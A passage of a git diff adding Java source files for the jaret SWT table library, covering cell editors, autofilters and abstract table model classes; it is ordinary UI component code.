(event.keyCode == SWT.CR) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusDown(); + } else if (event.keyCode == SWT.ESC) { + event.doit = false; + stopEditing(false); + _column.setValue(_row, _oldVal); + _table.forceFocus(); + } + } + + public void keyReleased(KeyEvent arg0) { + } + + }); + _combo.addFocusListener(this); + _combo.setItems(_stringItems); + } + + Object value = column.getValue(row); + _oldVal = value; + + int selIdx = -1; + if (_allowNull && value == null) { + selIdx = 0; + } else { + selIdx = _itemList.indexOf(value); + selIdx = _allowNull ? selIdx + 1 : selIdx; + } + + if (selIdx != -1) { + _combo.select(selIdx); + } + + return _combo; + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + int selIdx = _combo.getSelectionIndex(); + Object selection = null; + if (selIdx != -1) { + if (_allowNull && selIdx == 0) { + selection = null; + } else { + selIdx = _allowNull ? selIdx - 1 : selIdx; + selection = _itemList.get(selIdx); + } + } + _column.setValue(_row, selection); + } + _combo.setVisible(false); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + super.dispose(); + if (_combo != null && !_combo.isDisposed()) { + _combo.dispose(); + } + } + + /** + * {@inheritDoc} Nothing to do on gaining focus. + */ + public void focusGained(FocusEvent arg0) { + } + + /** + * {@inheritDoc} Store and end editing when focus is taken away. + */ + public void focusLost(FocusEvent arg0) { + stopEditing(true); + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight() { + if (_combo != null) { + Point size = _combo.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return size.y; + } + return -1; + } + + /** + * Simple Labelprovider just using the toString method of any supplied object. + * + * @author Peter Kliem + * @version $Id: ObjectComboEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ + public class ToStringLabelProvider implements ILabelProvider { + + /** + * {@inheritDoc} + */ + public Image getImage(Object element) { + return null; + } + + /** + * {@inheritDoc} + */ + public String getText(Object element) { + return element.toString(); + } + + /** + * {@inheritDoc} + */ + public void addListener(ILabelProviderListener listener) { + } + + /** + * {@inheritDoc} + */ + public void dispose() { + } + + /** + * {@inheritDoc} + */ + public boolean isLabelProperty(Object element, String property) { + return false; + } + + /** + * {@inheritDoc} + */ + public void removeListener(ILabelProviderListener listener) { + } + + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/TextCellEditor.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/TextCellEditor.java new file mode 100644 index 0000000..425de4b --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/TextCellEditor.java @@ -0,0 +1,197 @@ +/* + * File: TextCellEditor.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.editor; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Text; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Cell Editor for editing strings. Supports single and multiple line edits. For multiple line usage there are several + * options: + *
      + *
    • resize: when true the input will be growing with the input text up to maxRows rows
    • + *
    • maxRows: max height of input filed when resizing
    • + *
    + *

    + * Key bindings: CR, TAB: accept input and leave, ALT+CR insert CR, ESC leave and reset to value when starting editing + *

    + * + * @author Peter Kliem + * @version $Id: TextCellEditor.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class TextCellEditor extends CellEditorBase implements ICellEditor, FocusListener { + protected boolean _multi = true; + + /** control used for editing. */ + protected Text _text; + + private String _oldVal; + + private int _maxrows = 6; + + public TextCellEditor(boolean multi) { + _multi = multi; + } + + protected String convertValue(IRow row, IColumn column) { + Object value = column.getValue(row); + return value != null ? value.toString() : null; + } + + protected void storeValue(IRow row, IColumn column) { + String value = _text.getText(); + _column.setValue(_row, value); + } + + /** + * Create the control to be used when editing. + * + * @param table table is the parent control + */ + private void createControl(JaretTable table) { + if (_text == null) { + _table = table; + if (!_multi) { + _text = new Text(table, SWT.BORDER); + } else { + _text = new Text(table, SWT.BORDER | SWT.MULTI | SWT.WRAP); + } + _text.addKeyListener(new KeyListener() { + + public void keyPressed(KeyEvent event) { + if ((event.stateMask & SWT.ALT) != 0 && event.keyCode == SWT.CR) { + event.doit = false; + _text.insert("\n"); + } else if (event.keyCode == SWT.TAB) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusRight(); + } else if (event.keyCode == SWT.CR) { + event.doit = false; + stopEditing(true); + _table.forceFocus(); + _table.focusDown(); + } else if (event.keyCode == SWT.ESC) { + event.doit = false; + stopEditing(false); + _column.setValue(_row, _oldVal); + _table.forceFocus(); + } else { + if (_multi) { + // System.out.println("lines "+_text.getLineCount()); + // System.out.println("lineheight "+_text.getLineHeight()); + // int lheight = _text.getLineHeight(); + // int lcount = _text.getLineCount(); + // TODO + if (true || _text.getLineCount() * _text.getLineHeight() < _text.getSize().y) { + Point newSize = new Point(_text.getSize().x, getPreferredHeight()); + _text.setSize(newSize); + } + } + } + + } + + public void keyReleased(KeyEvent arg0) { + } + + }); + + _text.addFocusListener(this); + } + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + createControl(table); + _oldVal = (String) column.getValue(row); + if (typedKey != 0) { + _text.setText("" + typedKey); + _text.setSelection(1); + } else { + String value = convertValue(row, column); + _text.setText(value != null ? value : ""); + _text.selectAll(); + } + return _text; + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight() { + if (_text == null) { + return -1; + } + int lheight = _text.getLineHeight(); + int lcount = _text.getLineCount(); + if (lcount > _maxrows + 1) { + lcount = _maxrows; + } + return (lcount + 1) * lheight; + + } + + public void focusGained(FocusEvent arg0) { + } + + public void focusLost(FocusEvent arg0) { + _table.stopEditing(true); + } + + public void dispose() { + super.dispose(); + if (_text != null && !_text.isDisposed()) { + _text.removeFocusListener(this); + _text.dispose(); + } + + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + storeValue(_row, _column); + } + _text.setVisible(false); + } + + /** + * @return the maxrows + */ + public int getMaxrows() { + return _maxrows; + } + + /** + * @param maxrows the maxrows to set + */ + public void setMaxrows(int maxrows) { + _maxrows = maxrows; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/package.html new file mode 100644 index 0000000..800d4e2 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/editor/package.html @@ -0,0 +1,8 @@ + +

    +This package contains cell editors for the jaret table. +

    +

    + +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/AbstractAutoFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/AbstractAutoFilter.java new file mode 100644 index 0000000..f472729 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/AbstractAutoFilter.java @@ -0,0 +1,74 @@ +/* + * File: AbstractAutoFilter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.filter; + +import java.util.HashSet; +import java.util.Set; + +import de.jaret.util.misc.PropertyObservableBase; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * An abstract base that can be used when implementing autofilters. + * + * @author kliem + * @version $Id: AbstractAutoFilter.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public abstract class AbstractAutoFilter extends PropertyObservableBase implements IAutoFilter { + /** table of the autofilter. */ + protected JaretTable _table; + + /** column of the autofilter. */ + protected IColumn _column; + + /** + * {@inheritDoc} + */ + public void setColumn(IColumn column) { + _column = column; + } + + /** + * {@inheritDoc} + */ + public void setTable(JaretTable table) { + _table = table; + } + + /** + * Get all possible filter strings for the autofilter comboboxes. + * + * @param col the column to look at + * @param maxLength the maxmium length of the individual strings. If a string is larger than that it wil be + * truncated, -1 for no truncation + * @return set of strings, shortened if necessary + */ + protected Set getColFilterStrings(IColumn col, int maxLength) { + Set result = new HashSet(); + for (int i = 0; i < _table.getRowCount(); i++) { + IRow row = _table.getRow(i); + Object val = col.getValue(row); + if (val != null) { + String valStr = val.toString(); + if (maxLength != -1 && valStr.length() > maxLength) { + // TODO mark for proper use in filters + valStr = valStr.substring(0, maxLength - 1); + } + result.add(valStr); + } + } + + return result; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/DefaultAutoFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/DefaultAutoFilter.java new file mode 100644 index 0000000..fe34d9f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/DefaultAutoFilter.java @@ -0,0 +1,130 @@ +/* + * File: DefaultAutoFilter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.filter; + +import java.util.Set; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CCombo; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Default implementation of the IAutofilter interface rendering a combobox with a simple selection mechanism. + * + * @author kliem + * @version $Id: DefaultAutoFilter.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class DefaultAutoFilter extends AbstractAutoFilter implements IAutoFilter, SelectionListener { + /** maximal length of an object list in a autofilter combox (-1 for unlimited). */ + private static final int MAX_AUTOFILTERLENGTH = -1; + + /** text: to be externalized. */ + protected static final String TEXT_FILTER_ALL = "(all)"; + /** text: to be externalized. */ + protected static final String TEXT_FILTER_EMPTY = "(empty)"; + /** text: to be externalized. */ + protected static final String TEXT_FILTER_NONEMPTY = "(non-empty)"; + + /** control used for the filter -> coombobox. */ + protected CCombo _combo; + + /** + * {@inheritDoc} + */ + public void dispose() { + if (_combo != null) { + _combo.dispose(); + } + } + + /** + * {@inheritDoc} + */ + public Control getControl() { + return _combo; + } + + /** + * {@inheritDoc} + */ + public boolean isInResult(IRow row) { + String filter = _combo.getText(); + Object value = _column.getValue(row); + String valString = value != null ? value.toString() : ""; + if (!filter.equals(TEXT_FILTER_ALL)) { + if (filter.equals(TEXT_FILTER_EMPTY) && valString.trim().length() > 0) { + return false; + } + if (filter.equals(TEXT_FILTER_NONEMPTY) && valString.trim().length() == 0) { + return false; + } + if (!filter.equals(TEXT_FILTER_ALL) && !filter.equals(TEXT_FILTER_EMPTY) + && !filter.equals(TEXT_FILTER_NONEMPTY)) { + if (!filter.equals(valString)) { + return false; + } + } + } + return true; + } + + /** + * {@inheritDoc} + */ + public void update() { + if (_combo == null) { + _combo = new CCombo(_table, SWT.BORDER | SWT.READ_ONLY); + _combo.addSelectionListener(this); + } + IColumn col = _column; + + Set colFilterStrings = getColFilterStrings(col, MAX_AUTOFILTERLENGTH); + + String[] items = new String[colFilterStrings.size() + 3]; + int idx = 0; + items[idx++] = TEXT_FILTER_ALL; + items[idx++] = TEXT_FILTER_EMPTY; + items[idx++] = TEXT_FILTER_NONEMPTY; + for (String s : colFilterStrings) { + items[idx++] = s; + } + + _combo.setItems(items); + _combo.select(0); + } + + /** + * {@inheritDoc} + */ + public void reset() { + _combo.select(0); + firePropertyChange("FILTER", null, "x"); + } + + /** + * {@inheritDoc} + */ + public void widgetDefaultSelected(SelectionEvent e) { + } + + /** + * {@inheritDoc} Inform everyone the filter changed. + */ + public void widgetSelected(SelectionEvent e) { + firePropertyChange("FILTER", null, "x"); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/IAutoFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/IAutoFilter.java new file mode 100644 index 0000000..d0c5d3d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/IAutoFilter.java @@ -0,0 +1,64 @@ +/* + * File: IAutoFilter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.filter; + +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; + +/** + * Interface describing an autofilter to be used within a jaret table. An autofilter will be instantiated for every + * column it is used on. So it is absolutely necessary that an autofilter can be instantiated by a default constructor. + * + * @author kliem + * @version $Id: IAutoFilter.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public interface IAutoFilter extends IRowFilter { + + /** + * Tell the autofilter which table he serves. This will be called after instantiating the autofilter. + * + * @param table table the autofilter is used with + */ + void setTable(JaretTable table); + + /** + * Tell the autofilter on which column it works. This method will be called once after the filter has been + * instantiated. + * + * @param column column for the autofilter + */ + void setColumn(IColumn column); + + /** + * Get the control representing the autofilter (most probably a combo box). + * + * @return configured control representing the filter + */ + Control getControl(); + + /** + * Update/create the control and internal state. + */ + void update(); + + /** + * Remove any selection (usually revert to a setting that filters nothing). + */ + void reset(); + + /** + * Dispose all resources. + */ + void dispose(); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/IRowFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/IRowFilter.java new file mode 100644 index 0000000..243fa61 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/IRowFilter.java @@ -0,0 +1,30 @@ +/* + * File: IRowFilter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.filter; + +import de.jaret.util.misc.PropertyObservable; +import de.jaret.util.ui.table.model.IRow; + +/** + * A simple row filter for the jaret table. This is a PropertyObservable to allow the table to refresh on prop changes. + * + * @author Peter Kliem + * @version $Id: IRowFilter.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public interface IRowFilter extends PropertyObservable { + /** + * Check whether the row is in the resulting list of rows. + * + * @param row row to check. + * @return true if the rw is in the result. + */ + boolean isInResult(IRow row); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/package.html new file mode 100644 index 0000000..9ec7dd8 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/filter/package.html @@ -0,0 +1,8 @@ + +

    +This package contains the row filtering support for the jaret table. +

    +

    + +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractColumn.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractColumn.java new file mode 100644 index 0000000..f811459 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractColumn.java @@ -0,0 +1,91 @@ +/* + * File: AbstractColumn.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.List; +import java.util.Vector; + +/** + * Abstract base implemenation of an IColumn. + * + * @author Peter Kliem + * @version $Id: AbstractColumn.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public abstract class AbstractColumn implements IColumn { + /** column listeners. */ + protected List _listeners; + + /** + * Inform listeners about a value change. + * + * @param row row + * @param column column + * @param oldValue old value + * @param newValue new value + */ + protected void fireValueChanged(IRow row, IColumn column, Object oldValue, Object newValue) { + if (_listeners != null) { + for (IColumnListener listener : _listeners) { + listener.valueChanged(row, column, oldValue, newValue); + } + } + } + + /** + * {@inheritDoc} + */ + public synchronized void addColumnListener(IColumnListener cl) { + if (_listeners == null) { + _listeners = new Vector(); + } + _listeners.add(cl); + } + + /** + * {@inheritDoc} + */ + public void remColumnListener(IColumnListener cl) { + if (_listeners != null) { + _listeners.remove(cl); + } + } + + /** + * Default implementation: no difference to getContentClass(). {@inheritDoc} + */ + public Class getContentClass(IRow row) { + return getContentClass(); + } + + /** + * Header display always defaults to true. {@inheritDoc} + */ + public boolean displayHeader() { + return true; + } + + /** + * Deafult: cols are aditable. + * + * @return true + */ + public boolean isEditable() { + return true; + } + + /** + * Default: delegate to isEditable. {@inheritDoc} + */ + public boolean isEditable(IRow row) { + return isEditable(); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractJaretTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractJaretTableModel.java new file mode 100644 index 0000000..4f7432a --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractJaretTableModel.java @@ -0,0 +1,180 @@ +/* + * File: AbstractJaretTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.List; +import java.util.Vector; + +/** + * Abstract base implementation of a JaretTableModel. + * + * @author Peter Kliem + * @version $Id: AbstractJaretTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public abstract class AbstractJaretTableModel implements IJaretTableModel { + /** registered listeners. */ + protected List _listeners; + + /** + * {@inheritDoc} Simple default implementation. + */ + public IColumn getColumn(String id) { + for (int i = 0; i < getColumnCount(); i++) { + if (getColumn(i).getId() != null && getColumn(i).getId().equals(id)) { + return getColumn(i); + } + } + return null; + } + + /** + * {@inheritDoc} + */ + public void setValue(IRow row, IColumn column, Object value) { + column.setValue(row, value); + } + + /** + * {@inheritDoc} Delegates to the column. + */ + public boolean isEditable(IRow row, IColumn column) { + return column.isEditable(row); + } + + /** + * {@inheritDoc} + */ + public synchronized void addJaretTableModelListener(IJaretTableModelListener jtml) { + if (_listeners == null) { + _listeners = new Vector(); + } + _listeners.add(jtml); + } + + /** + * {@inheritDoc} + */ + public synchronized void removeJaretTableModelListener(IJaretTableModelListener jtml) { + if (_listeners != null) { + _listeners.remove(jtml); + } + } + + /** + * Inform listeners about an added row. + * + * @param idx index of the row + * @param row the row + */ + protected void fireRowAdded(int idx, IRow row) { + if (_listeners != null) { + for (int i = 0; i < _listeners.size(); i++) { + IJaretTableModelListener listener = _listeners.get(i); + listener.rowAdded(idx, row); + } + } + } + + /** + * Inform listeners about a removed row. + * + * @param row the removed row + */ + protected void fireRowRemoved(IRow row) { + if (_listeners != null) { + for (int i = 0; i < _listeners.size(); i++) { + IJaretTableModelListener listener = _listeners.get(i); + listener.rowRemoved(row); + } + } + } + + /** + * Inform listeners abou a changed row. + * + * @param row the changed row + */ + protected void fireRowChanged(IRow row) { + if (_listeners != null) { + for (int i = 0; i < _listeners.size(); i++) { + IJaretTableModelListener listener = _listeners.get(i); + listener.rowChanged(row); + } + } + } + + /** + * Inform listeners about an added column. + * + * @param idx index + * @param column column + */ + protected void fireColumnAdded(int idx, IColumn column) { + if (_listeners != null) { + for (IJaretTableModelListener listener : _listeners) { + listener.columnAdded(idx, column); + } + } + } + + /** + * Inform listeners about a removed column. + * + * @param column the now missing column + */ + protected void fireColumnRemoved(IColumn column) { + if (_listeners != null) { + for (IJaretTableModelListener listener : _listeners) { + listener.columnRemoved(column); + } + } + } + + /** + * Inform listeners about a changed column. + * + * @param column changed col + */ + protected void fireColumnChanged(IColumn column) { + if (_listeners != null) { + for (IJaretTableModelListener listener : _listeners) { + listener.columnChanged(column); + } + } + } + + /** + * Inform listeners about a changed cell. + * + * @param row row of the cell + * @param column olumn of the cell + */ + protected void fireCellChanged(IRow row, IColumn column) { + if (_listeners != null) { + for (IJaretTableModelListener listener : _listeners) { + listener.cellChanged(row, column); + } + } + } + + /** + * Inform listeners about a general change of the model data. + * + */ + protected void fireTableDataChanged() { + if (_listeners != null) { + for (IJaretTableModelListener listener : _listeners) { + listener.tableDataChanged(); + } + } + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractRowFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractRowFilter.java new file mode 100644 index 0000000..4c647b5 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractRowFilter.java @@ -0,0 +1,24 @@ +/* + * File: AbstractRowFilter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import de.jaret.util.misc.PropertyObservableBase; +import de.jaret.util.ui.table.filter.IRowFilter; + +/** + * Abstract base implementation of a RowFilter to allow easy anonymous inner classes to be constructed. + * + * @author Peter Kliem + * @version $Id: AbstractRowFilter.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public abstract class AbstractRowFilter extends PropertyObservableBase implements IRowFilter { + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractRowSorter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractRowSorter.java new file mode 100644 index 0000000..6cba380 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractRowSorter.java @@ -0,0 +1,23 @@ +/* + * File: AbstractRowSorter.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import de.jaret.util.misc.PropertyObservableBase; + +/** + * Abstract RowSorter base for easy creating of anonymous inner classes. + * + * @author Peter Kliem + * @version $Id: AbstractRowSorter.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public abstract class AbstractRowSorter extends PropertyObservableBase implements IRowSorter { + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractTableNode.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractTableNode.java new file mode 100644 index 0000000..b50cc90 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/AbstractTableNode.java @@ -0,0 +1,130 @@ +/* + * File: AbstractTableNode.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.ArrayList; +import java.util.List; +import java.util.Vector; + +import de.jaret.util.misc.PropertyObservableBase; + +/** + * Abstract base implementation of an ITableNode. + * + * @author Peter Kliem + * @version $Id: AbstractTableNode.java,v 1.1 2012-05-07 01:34:36 jason Exp $ + */ +public abstract class AbstractTableNode extends PropertyObservableBase implements ITableNode { + /** listeners. */ + protected List _listeners; + + /** list of the chikdren of the node. */ + protected List _children = new ArrayList(); + + /** level in the hierarchy. */ + protected int _level; + + // TODO remove + /** + * {@inheritDoc} + */ + public List getChildren() { + return _children; + } + + /** + * {@inheritDoc} + */ + public int getLevel() { + return _level; + } + + /** + * {@inheritDoc} + */ + public void setLevel(int level) { + _level = level; + if (_children != null) { + for (ITableNode node : _children) { + node.setLevel(level+1); + } + } + } + + /** + * Add a node. + * + * @param node node to add + */ + public void addNode(ITableNode node) { + node.setLevel(_level + 1); + _children.add(node); + fireNodeAdded(node); + } + + /** + * Remove a node. + * + * @param node node to remove + */ + public void remNode(ITableNode node) { + if (_children.contains(node)) { + _children.remove(node); + fireNodeRemoved(node); + } + } + + /** + * {@inheritDoc} + */ + public synchronized void addTableNodeListener(ITableNodeListener tnl) { + if (_listeners == null) { + _listeners = new Vector(); + } + _listeners.add(tnl); + } + + /** + * {@inheritDoc} + */ + public void removeTableNodeListener(ITableNodeListener tnl) { + if (_listeners != null) { + _listeners.remove(tnl); + } + } + + /** + * Inform listeners about a newly added node. + * + * @param node the added node + */ + protected void fireNodeAdded(ITableNode node) { + if (_listeners != null) { + for (ITableNodeListener listener : _listeners) { + listener.nodeAdded(this, node); + } + } + } + + /** + * Inform listeners about the removal of a node. + * + * @param node removed node + */ + protected void fireNodeRemoved(ITableNode node) { + if (_listeners != null) { + for (ITableNodeListener listener : _listeners) { + listener.nodeRemoved(this, node); + } + } + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultHierarchicalTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultHierarchicalTableModel.java new file mode 100644 index 0000000..46202dd --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultHierarchicalTableModel.java @@ -0,0 +1,39 @@ +/* + * File: DefaultHierarchicalTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Default implementation of a hierarchical jaret table model. + * + * @author Peter Kliem + * @version $Id: DefaultHierarchicalTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultHierarchicalTableModel implements IHierarchicalJaretTableModel { + /** the root node. */ + protected ITableNode _root; + + /** + * Construct the model. + * + * @param root the root node + */ + public DefaultHierarchicalTableModel(ITableNode root) { + _root = root; + } + + /** + * {@inheritDoc} + */ + public ITableNode getRootNode() { + return _root; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultHierarchicalTableViewState.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultHierarchicalTableViewState.java new file mode 100644 index 0000000..f2604cd --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultHierarchicalTableViewState.java @@ -0,0 +1,110 @@ +/* + * File: DefaultHierarchicalTableViewState.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Vector; + +/** + * Default implementation of a hierarchical view state. + * + * @author Peter Kliem + * @version $Id: DefaultHierarchicalTableViewState.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultHierarchicalTableViewState extends DefaultTableViewState implements IHierarchicalTableViewState { + /** listener list. */ + protected List _listeners; + + /** map holding the node expanded states. */ + protected Map _expandedStatesMap = new HashMap(); + + /** + * {@inheritDoc} + */ + public boolean isExpanded(ITableNode node) { + Boolean state = _expandedStatesMap.get(node); + return !(state == null || !state.booleanValue()); + } + + /** + * {@inheritDoc} + */ + public void setExpanded(ITableNode node, boolean expanded) { + boolean state = isExpanded(node); + if (state != expanded) { + _expandedStatesMap.put(node, expanded); + if (expanded) { + fireNodeExpanded(node); + } else { + fireNodeFolded(node); + } + } + } + + /** + * {@inheritDoc} + */ + public void setExpandedRecursive(ITableNode node, boolean expanded) { + if (node.getChildren().size() > 0) { + setExpanded(node, expanded); + for (ITableNode child : node.getChildren()) { + setExpandedRecursive(child, expanded); + } + } + } + + /** + * 